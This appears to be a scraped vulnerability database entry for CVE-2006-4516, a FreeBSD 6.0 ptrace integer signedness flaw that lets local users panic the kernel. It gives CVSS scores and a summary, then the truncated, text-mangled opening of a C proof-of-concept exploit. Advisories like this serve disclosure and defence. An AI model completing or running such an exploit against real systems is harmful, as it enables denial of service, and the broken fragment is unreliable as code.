4.9
CVSSv2

CVE-2006-4516

Published: 12/10/2006 Updated: 20/07/2017
CVSS v2 Base Score: 4.9 | Impact Score: 6.9 | Exploitability Score: 3.9
VMScore: 495
Vector: AV:L/AC:L/Au:N/C:N/I:N/A:C

Vulnerability Summary

Integer signedness error in FreeBSD 6.0-RELEASE allows local users to cause a denial of service (memory corruption and kernel panic) via a PT_LWPINFO ptrace command with a large negative data value that satisfies a signed maximum value check but is used in an unsigned copyout function call.

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freebsd freebsd 6.0

Exploits

#include <sys/typesh> #include <sys/ptraceh> #include <unistdh> /* lol lol, exploit for labsidefensecom/intelligence/vulnerabilities/displayphp?id=419 thank you oh unknown, sincerely kokanin@gmail usage: /blah <pid you own> */ int main(int argc, char *argv[]){ struct ptrace_lwpinfo *lol; ptrace(PT_ATTACH,at ...